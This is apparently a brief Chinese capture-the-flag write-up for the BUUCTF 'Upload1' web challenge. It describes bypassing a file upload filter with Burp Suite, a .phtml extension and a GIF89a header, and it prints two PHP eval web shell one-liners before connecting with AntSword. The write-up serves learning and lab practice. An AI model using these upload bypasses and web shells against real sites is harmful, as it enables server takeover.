BUUCTF WEB Upload1

upload1,那就上传吧
这题可能对图片格式还做了限制。。
我先上传的一张祖传的凹凸曼jpg文件没法用，它显示not image。。
那就换一张可爱的皮卡丘png吧，嗯，正常上传没问题的话
开始burpsuite抓包
很明显Content-type不需要动image/png
关键就是文件后缀的尝试，尝试过形如.png.jpg，连不上，那么php3，php4，php5一个个试，发现phtml可以上传
emmm。。。图片里直接放一句话发现先会报错not a image at all
查阅资料后发现可能对图片文件也进行了检查
看这个https://www.cnblogs.com/hcflyy/p/3568839.html?utm_source=tuicool&utm_medium=referral
构造GIF89a？ <?php @eval($_POST[nihao])；?>发现格式没问题了，出现了新问题，<?被过滤了
经典GIF89a？ <script language="php">eval($_POST[nihao])</script>
传上去去看看存不存在upload路径，存在，蚁剑连接
参考视频链接：https://www.bilibili.com/video/BV1Df4y1N7fP/